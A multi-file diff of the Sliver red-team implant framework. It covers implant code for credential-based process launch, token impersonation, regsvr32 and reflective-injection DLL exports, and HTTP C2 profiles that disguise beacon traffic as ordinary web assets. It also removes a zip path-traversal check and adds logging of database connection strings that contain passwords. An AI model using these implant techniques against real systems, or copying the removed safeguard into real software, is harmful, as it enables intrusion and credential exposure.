@@ -259,7 +239,7 @@ func MakeToken(domain string, username string, password string, logonType uint32
if err != nil {
return err
}
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
if err != nil {
// {{if .Config.Debug}}
log.Printf("LogonUser failed: %v\n", err)
@@ -295,82 +275,6 @@ func deleteRegistryKey(keyPath, keyName string) (err error) {
return
}
func RunAs(username string, domain string, password string, program string, args string, show int, netonly bool) (err error) {
// call CreateProcessWithLogonW to create a new process with the specified credentials
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
// convert username, domain, password, program, args, env, dir to *uint16
u, err := windows.UTF16PtrFromString(username)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Invalid username\n")
// {{end}}
return
}
d, err := windows.UTF16PtrFromString(domain)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Invalid domain\n")
// {{end}}
return
}
p, err := windows.UTF16PtrFromString(password)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Invalid password\n")
// {{end}}
return
}
prog, err := windows.UTF16PtrFromString(program)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Invalid program\n")
// {{end}}
return
}
var cmd *uint16
if len(args) > 0 {
cmd, err = windows.UTF16PtrFromString(fmt.Sprintf("%s %s", program, args))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Invalid prog args\n")
// {{end}}
return
}
}
var e *uint16
// env := os.Environ()
// e, err = windows.UTF16PtrFromString(strings.Join(env, "\x00"))
// if err != nil {
// // {{if .Config.Debug}}
// log.Printf("Invalid env\n")
// // {{end}}
// return
// }
var di *uint16
// create a new startup info struct
si := &syscalls.StartupInfoEx{
StartupInfo: windows.StartupInfo{
Flags: windows.STARTF_USESHOWWINDOW,
ShowWindow: uint16(show),
},
}
// create a new process info struct
pi := &windows.ProcessInformation{}
// call CreateProcessWithLogonW
var logonFlags uint32 = 0
if netonly {
logonFlags = 2 // LOGON_NETCREDENTIALS_ONLY
}
err = syscalls.CreateProcessWithLogonW(u, d, p, logonFlags, prog, cmd, 0, e, di, si, pi)
if err != nil {
// {{if .Config.Debug}}
log.Printf("CreateProcessWithLogonW failed: %v\n", err)
// {{end}}
}
return
}
// RunProcessAsUser - Retrieve a primary token belonging to username
// and starts a new process using that token.
func RunProcessAsUser(username, command, args string) (out string, err error) {
+18 -39
View File
@@ -42,11 +42,17 @@ import (
"io/ioutil"
// {{end}}
// {{if eq .Config.GOOS "windows"}}
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
// {{end}}
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/locale"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/version"
@@ -121,7 +127,6 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
var isRunning bool = false
// StartW - Export for shared lib build
//
//export StartW
func StartW() {
if !isRunning {
@@ -134,25 +139,21 @@ func StartW() {
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
//
//export VoidFunc
func VoidFunc() { main() }
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
//
//export DllInstall
func DllInstall() { main() }
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
//
//export DllRegisterServer
func DllRegisterServer() { main() }
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
//
//export DllUnregisterServer
func DllUnregisterServer() { main() }
@@ -408,23 +409,6 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
wg.Add(1)
data := task.Data
taskID := task.ID
// {{if eq .Config.GOOS "windows" }}
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
defer wg.Done()
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
})
})
// {{else}}
go handler(data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
@@ -440,7 +424,6 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
Data: data,
})
})
// {{end}}
} else if task.Type == sliverpb.MsgOpenSession {
go openSessionHandler(task.Data)
resultsMutex.Lock()
@@ -583,23 +566,20 @@ func sessionMainLoop(connection *transports.Connection) error {
// only applies the token to the calling thread, we need to call it before every task.
// It's fucking gross to do that here, but I could not come with a better solution.
// {{if eq .Config.GOOS "windows" }}
if priv.CurrentToken != 0 {
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Error: %v\n", err)
// {{end}}
}
}
// {{end}}
// {{if .Config.Debug}}
log.Printf("[recv] sysHandler %d", envelope.Type)
// {{end}}
// {{if eq .Config.GOOS "windows" }}
go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
// {{if .Config.Debug}}
if err != nil {
log.Printf("[session] handler function returned an error: %s", err)
}
// {{end}}
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: data,
}
})
// {{else}}
go handler(envelope.Data, func(data []byte, err error) {
// {{if .Config.Debug}}
if err != nil {
@@ -611,7 +591,6 @@ func sessionMainLoop(connection *transports.Connection) error {
Data: data,
}
})
// {{end}}
} else if handler, ok := tunHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] tunHandler %d", envelope.Type)
@@ -9,7 +9,6 @@ package syscalls
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
//sys CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = advapi32.CreateProcessWithLogonW
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
//sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory
//sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx
@@ -62,7 +62,6 @@ var (
procGetDC = modUser32.NewProc("GetDC")
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
procReleaseDC = modUser32.NewProc("ReleaseDC")
procCreateProcessWithLogonW = modadvapi32.NewProc("CreateProcessWithLogonW")
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
procLogonUserW = modadvapi32.NewProc("LogonUserW")
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
@@ -223,14 +222,6 @@ func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error)
return
}
func CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
r1, _, e1 := syscall.Syscall12(procCreateProcessWithLogonW.Addr(), 11, uintptr(unsafe.Pointer(username)), uintptr(unsafe.Pointer(domain)), uintptr(unsafe.Pointer(password)), uintptr(logonFlags), uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
if r1 == 0 {
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.8
// protoc-gen-go v1.27.1
// protoc v3.21.6
// source: clientpb/client.proto
package clientpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.8
// protoc-gen-go v1.27.1
// protoc v3.21.6
// source: commonpb/common.proto
package commonpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.8
// protoc-gen-go v1.27.1
// protoc v3.21.6
// source: dnspb/dns.proto
package dnspb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.8
// protoc-gen-go v1.27.1
// protoc v3.21.6
// source: rpcpb/services.proto
package rpcpb
+6
View File
@@ -190,4 +190,10 @@ service SliverRPC {
// *** Events ***
rpc Events(commonpb.Empty) returns (stream clientpb.Event);
// *** Webhooks ***
rpc Webhooks(commonpb.Empty) returns (clientpb.Webhooks);
rpc StartSlackWebhook(clientpb.SlackWebhook) returns (commonpb.Empty);
rpc StopSlackWebhook(commonpb.Empty) returns (commonpb.Empty);
}
+110
View File
@@ -176,6 +176,10 @@ type SliverRPCClient interface {
TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error)
// *** Events ***
Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error)
// *** Webhooks ***
Webhooks(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Webhooks, error)
StartSlackWebhook(ctx context.Context, in *clientpb.SlackWebhook, opts ...grpc.CallOption) (*commonpb.Empty, error)
StopSlackWebhook(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Empty, error)
}
type sliverRPCClient struct {
@@ -1473,6 +1477,33 @@ func (x *sliverRPCEventsClient) Recv() (*clientpb.Event, error) {
return m, nil
}
func (c *sliverRPCClient) Webhooks(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Webhooks, error) {
out := new(clientpb.Webhooks)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Webhooks", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) StartSlackWebhook(ctx context.Context, in *clientpb.SlackWebhook, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartSlackWebhook", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) StopSlackWebhook(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopSlackWebhook", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
// SliverRPCServer is the server API for SliverRPC service.
// All implementations must embed UnimplementedSliverRPCServer
// for forward compatibility
@@ -1632,6 +1663,10 @@ type SliverRPCServer interface {
TunnelData(SliverRPC_TunnelDataServer) error
// *** Events ***
Events(*commonpb.Empty, SliverRPC_EventsServer) error
// *** Webhooks ***
Webhooks(context.Context, *commonpb.Empty) (*clientpb.Webhooks, error)
StartSlackWebhook(context.Context, *clientpb.SlackWebhook) (*commonpb.Empty, error)
StopSlackWebhook(context.Context, *commonpb.Empty) (*commonpb.Empty, error)
mustEmbedUnimplementedSliverRPCServer()
}
@@ -2038,6 +2073,15 @@ func (UnimplementedSliverRPCServer) TunnelData(SliverRPC_TunnelDataServer) error
func (UnimplementedSliverRPCServer) Events(*commonpb.Empty, SliverRPC_EventsServer) error {
return status.Errorf(codes.Unimplemented, "method Events not implemented")
}
func (UnimplementedSliverRPCServer) Webhooks(context.Context, *commonpb.Empty) (*clientpb.Webhooks, error) {
return nil, status.Errorf(codes.Unimplemented, "method Webhooks not implemented")
}
func (UnimplementedSliverRPCServer) StartSlackWebhook(context.Context, *clientpb.SlackWebhook) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method StartSlackWebhook not implemented")
}
func (UnimplementedSliverRPCServer) StopSlackWebhook(context.Context, *commonpb.Empty) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method StopSlackWebhook not implemented")
}
func (UnimplementedSliverRPCServer) mustEmbedUnimplementedSliverRPCServer() {}
// UnsafeSliverRPCServer may be embedded to opt out of forward compatibility for this service.
@@ -4467,6 +4511,60 @@ func (x *sliverRPCEventsServer) Send(m *clientpb.Event) error {
return x.ServerStream.SendMsg(m)
}
func _SliverRPC_Webhooks_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Webhooks(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Webhooks",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Webhooks(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_StartSlackWebhook_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.SlackWebhook)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).StartSlackWebhook(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/StartSlackWebhook",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartSlackWebhook(ctx, req.(*clientpb.SlackWebhook))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_StopSlackWebhook_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).StopSlackWebhook(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/StopSlackWebhook",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StopSlackWebhook(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
// SliverRPC_ServiceDesc is the grpc.ServiceDesc for SliverRPC service.
// It's only intended for direct use with grpc.RegisterService,
// and not to be introspected or modified (even as a copy)
@@ -4990,6 +5088,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "CloseTunnel",
Handler: _SliverRPC_CloseTunnel_Handler,
},
{
MethodName: "Webhooks",
Handler: _SliverRPC_Webhooks_Handler,
},
{
MethodName: "StartSlackWebhook",
Handler: _SliverRPC_StartSlackWebhook_Handler,
},
{
MethodName: "StopSlackWebhook",
Handler: _SliverRPC_StopSlackWebhook_Handler,
},
},
Streams: []grpc.StreamDesc{
{
File diff suppressed because it is too large. Load diff
-5
View File
@@ -284,10 +284,6 @@ message RunAsReq {
string Username = 1;
string ProcessName = 2;
string Args = 3;
string Domain = 4;
string Password = 5;
bool HideWindow = 6;
bool NetOnly = 7;
commonpb.Request Request = 9;
}
@@ -344,7 +340,6 @@ message MakeTokenReq {
string Username = 1;
string Password = 2;
string Domain = 3;
uint32 LogonType = 4;
commonpb.Request Request = 9;
}
+34 -14
View File
@@ -24,6 +24,7 @@ import (
"errors"
"fmt"
"io"
"io/ioutil"
insecureRand "math/rand"
"os"
"os/user"
@@ -79,7 +80,7 @@ func GetRootAppDir() string {
func assetVersion() string {
appDir := GetRootAppDir()
data, err := os.ReadFile(path.Join(appDir, versionFileName))
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
setupLog.Infof("No version detected %s", err)
return ""
@@ -183,7 +184,7 @@ func setupGo(appDir string) error {
goZipPath := filepath.Join(appDir, "go.zip")
defer os.Remove(goZipPath)
os.WriteFile(goZipPath, goZip, 0600)
ioutil.WriteFile(goZipPath, goZip, 0600)
_, err = unzip(goZipPath, appDir)
if err != nil {
setupLog.Infof("Failed to unzip file %s -> %s", goZipPath, appDir)
@@ -197,7 +198,7 @@ func setupGo(appDir string) error {
}
goSrcZipPath := filepath.Join(appDir, "src.zip")
defer os.Remove(goSrcZipPath)
os.WriteFile(goSrcZipPath, goSrcZip, 0600)
ioutil.WriteFile(goSrcZipPath, goSrcZip, 0600)
_, err = unzip(goSrcZipPath, goRootPath)
if err != nil {
setupLog.Infof("Failed to unzip file %s -> %s/go", goSrcZipPath, appDir)
@@ -215,7 +216,7 @@ func setupGo(appDir string) error {
return err
}
garbleLocalPath := filepath.Join(appDir, "go", "bin", garbleFileName)
err = os.WriteFile(garbleLocalPath, garbleFile, 0700)
err = ioutil.WriteFile(garbleLocalPath, garbleFile, 0700)
if err != nil {
setupLog.Errorf("Failed to write garble %s", err)
return err
@@ -259,8 +260,8 @@ func SetupGoPath(goPathSrc string) error {
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
os.MkdirAll(sliverpbDir, 0700)
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
os.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
ioutil.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
ioutil.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
// Common PB
commonpbSrc, err := protobufs.FS.ReadFile("commonpb/common.pb.go")
@@ -270,7 +271,7 @@ func SetupGoPath(goPathSrc string) error {
}
commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
os.MkdirAll(commonpbDir, 0700)
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
ioutil.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
// DNS PB
dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
@@ -280,7 +281,7 @@ func SetupGoPath(goPathSrc string) error {
}
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
os.MkdirAll(dnspbDir, 0700)
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
ioutil.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
return nil
}
@@ -306,6 +307,28 @@ func stripSliverpb(src []byte) []byte {
return out
}
func unzipGoDependency(fsPath string, targetPath string) error {
setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
appDir := GetRootAppDir()
goDep, err := assetsFs.ReadFile(fsPath)
if err != nil {
setupLog.Infof("static asset not found: %s", fsPath)
return err
}
goDepZipPath := filepath.Join(appDir, filepath.Base(fsPath))
defer os.Remove(goDepZipPath)
ioutil.WriteFile(goDepZipPath, goDep, 0600)
_, err = unzip(goDepZipPath, targetPath)
if err != nil {
setupLog.Infof("Failed to unzip file %s -> %s", goDepZipPath, appDir)
return err
}
return nil
}
func setupCodenames(appDir string) error {
nouns, err := assetsFs.ReadFile("fs/nouns.txt")
if err != nil {
@@ -319,13 +342,13 @@ func setupCodenames(appDir string) error {
return err
}
err = os.WriteFile(filepath.Join(appDir, "nouns.txt"), nouns, 0600)
err = ioutil.WriteFile(path.Join(appDir, "nouns.txt"), nouns, 0600)
if err != nil {
setupLog.Infof("Failed to write noun data to: %s", appDir)
return err
}
err = os.WriteFile(filepath.Join(appDir, "adjectives.txt"), adjectives, 0600)
err = ioutil.WriteFile(path.Join(appDir, "adjectives.txt"), adjectives, 0600)
if err != nil {
setupLog.Infof("Failed to write adjective data to: %s", appDir)
return err
@@ -351,10 +374,7 @@ func unzip(src string, dest string) ([]string, error) {
}
defer rc.Close()
fPath := filepath.Clean(filepath.Join(dest, file.Name))
if !strings.HasPrefix(fPath, filepath.Clean(dest)) {
panic("illegal zip file path")
}
fPath := filepath.Join(dest, file.Name)
filenames = append(filenames, fPath)
if file.FileInfo().IsDir() {
+3 -5
View File
@@ -53,7 +53,7 @@ var (
func GetDatabaseConfigPath() string {
appDir := assets.GetRootAppDir()
databaseConfigPath := filepath.Join(appDir, "configs", databaseConfigFileName)
databaseConfigLog.Debugf("Loading config from %s", databaseConfigPath)
databaseConfigLog.Infof("Loading config from %s", databaseConfigPath)
return databaseConfigPath
}
@@ -79,7 +79,7 @@ type DatabaseConfig struct {
func (c *DatabaseConfig) DSN() (string, error) {
switch c.Dialect {
case Sqlite:
filePath := filepath.Join(assets.GetRootAppDir(), "sliver.db")
filePath := path.Join(assets.GetRootAppDir(), "sliver.db")
params := encodeParams(c.Params)
return fmt.Sprintf("file:%s?%s", filePath, params), nil
case MySQL:
@@ -88,7 +88,6 @@ func (c *DatabaseConfig) DSN() (string, error) {
db := url.QueryEscape(c.Database)
host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port)
params := encodeParams(c.Params)
databaseConfigLog.Infof("Connecting to MySQL database %s@%s/%s", user, host, db)
return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil
case Postgres:
user := url.QueryEscape(c.Username)
@@ -97,7 +96,6 @@ func (c *DatabaseConfig) DSN() (string, error) {
host := url.QueryEscape(c.Host)
port := c.Port
params := encodeParams(c.Params)
databaseConfigLog.Infof("Connecting to Postgres database %s@%s:%d/%s", user, host, port, db)
return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil
default:
return "", ErrInvalidDialect
@@ -115,7 +113,7 @@ func encodeParams(rawParams map[string]string) string {
// Save - Save config file to disk
func (c *DatabaseConfig) Save() error {
configPath := GetDatabaseConfigPath()
configDir := path.Dir(configPath)
configDir := filepath.Dir(configPath)
if _, err := os.Stat(configDir); os.IsNotExist(err) {
databaseConfigLog.Debugf("Creating config dir %s", configDir)
err := os.MkdirAll(configDir, 0700)
+8 -6
View File
@@ -232,10 +232,9 @@ var (
RandomVersionHeaders: false,
Cookies: []string{
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
"AWSELB", "AWSELBCORS", "AWSALB", "JSESSIONID", "sessionid",
},
Headers: []NameValueProbability{
// {Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
},
Headers: []NameValueProbability{},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
@@ -246,6 +245,9 @@ var (
MaxPaths: 8,
MinPaths: 2,
URLParameters: []NameValueProbability{},
Headers: []NameValueProbability{},
StagerFileExt: ".woff",
PollFileExt: ".js",
@@ -255,14 +257,14 @@ var (
},
PollPaths: []string{
"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts",
"javascript", "jscript",
"javascript", "jscript", "jscripts", "jsfiles", "jslib", "jslibs",
},
StartSessionFileExt: ".html",
SessionFileExt: ".php",
SessionFiles: []string{
"login", "signin", "api", "samples", "rpc", "index",
"admin", "register", "sign-up",
"admin", "register", "sign-up", "signup", "sign-in", "signin",
},
SessionPaths: []string{
"php", "api", "upload", "actions", "rest", "v1", "auth", "authenticate",
@@ -271,7 +273,7 @@ var (
CloseFileExt: ".png",
CloseFiles: []string{
"favicon", "sample", "example",
"favicon", "sample", "example", "logo", "icon", "icons", "image",
},
ClosePaths: []string{
"static", "www", "assets", "images", "icons", "image", "icon", "png",
+76
View File
@@ -0,0 +1,76 @@
package configs
import (
"encoding/json"
"os"
"path/filepath"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/assets"
)
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
type SlackWebhookConfig struct {
Enabled bool `json:"enabled"`
AuthToken string `json:"auth_token"`
Channels []string `json:"channels"`
Events EventsConfig `json:"events"`
}
func SlackWebhookConfigFromProtobuf(config *clientpb.SlackWebhook) *SlackWebhookConfig {
return &SlackWebhookConfig{
Enabled: config.Enabled,
AuthToken: config.AuthToken,
Channels: config.Channels,
Events: EventsConfig{
SessionOpened: config.Events.SessionOpened,
BeaconRegistered: config.Events.BeaconRegistered,
},
}
}
type EventsConfig struct {
SessionOpened bool `json:"session_opened"`
BeaconRegistered bool `json:"beacon_registered"`
}
func SaveSlackConfig(config *SlackWebhookConfig) error {
slackConfigPath := filepath.Join(assets.GetRootAppDir(), "configs", "slack.json")
data, err := json.MarshalIndent(config, "", " ")
if err != nil {
return err
}
return os.WriteFile(slackConfigPath, data, 0600)
}
func LoadSlackConfig() (*SlackWebhookConfig, error) {
slackConfigPath := filepath.Join(assets.GetRootAppDir(), "configs", "slack.json")
if _, err := os.Stat(slackConfigPath); os.IsNotExist(err) {
return nil, nil
}
data, err := os.ReadFile(slackConfigPath)
if err != nil {
return nil, err
}
config := &SlackWebhookConfig{}
err = json.Unmarshal(data, config)
return config, err
}
+9 -9
View File
@@ -111,16 +111,16 @@ func (d *ddl) removeConstraint(name string) bool {
return false
}
// func (d *ddl) hasConstraint(name string) bool {
// reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
func (d *ddl) hasConstraint(name string) bool {
reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
// for _, f := range d.fields {
// if reg.MatchString(f) {
// return true
// }
// }
// return false
// }
for _, f := range d.fields {
if reg.MatchString(f) {
return true
}
}
return false
}
func (d *ddl) getColumns() []string {
res := []string{}
+4 -4
View File
@@ -97,11 +97,11 @@ func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder {
},
"LIMIT": func(c clause.Clause, builder clause.Builder) {
if limit, ok := c.Expression.(clause.Limit); ok {
if (*limit.Limit) > 0 || limit.Offset > 0 {
if (*limit.Limit) <= 0 {
(*limit.Limit) = -1
if limit.Limit > 0 || limit.Offset > 0 {
if limit.Limit <= 0 {
limit.Limit = -1
}
builder.WriteString("LIMIT " + strconv.Itoa((*limit.Limit)))
builder.WriteString("LIMIT " + strconv.Itoa(limit.Limit))
}
if limit.Offset > 0 {
builder.WriteString(" OFFSET " + strconv.Itoa(limit.Offset))
+2
View File
@@ -98,6 +98,7 @@ func postgresClient(dbConfig *configs.DatabaseConfig) *gorm.DB {
if err != nil {
panic(err)
}
clientLog.Infof("postgres -> %s", dsn)
dbClient, err := gorm.Open(postgres.Open(dsn), &gorm.Config{
PrepareStmt: true,
Logger: getGormLogger(dbConfig),
@@ -113,6 +114,7 @@ func mySQLClient(dbConfig *configs.DatabaseConfig) *gorm.DB {
if err != nil {
panic(err)
}
clientLog.Infof("mysql -> %s", dsn)
dbClient, err := gorm.Open(mysql.Open(dsn), &gorm.Config{
PrepareStmt: true,
Logger: getGormLogger(dbConfig),
+1 -1
View File
@@ -32,7 +32,7 @@ func sqliteClient(dbConfig *configs.DatabaseConfig) *gorm.DB {
if err != nil {
panic(err)
}
clientLog.Debugf("sqlite -> %s", dsn)
clientLog.Infof("sqlite -> %s", dsn)
dbClient, err := gorm.Open(sqlite.Open(dsn), &gorm.Config{
PrepareStmt: true,
-8
View File
@@ -27,7 +27,6 @@ import (
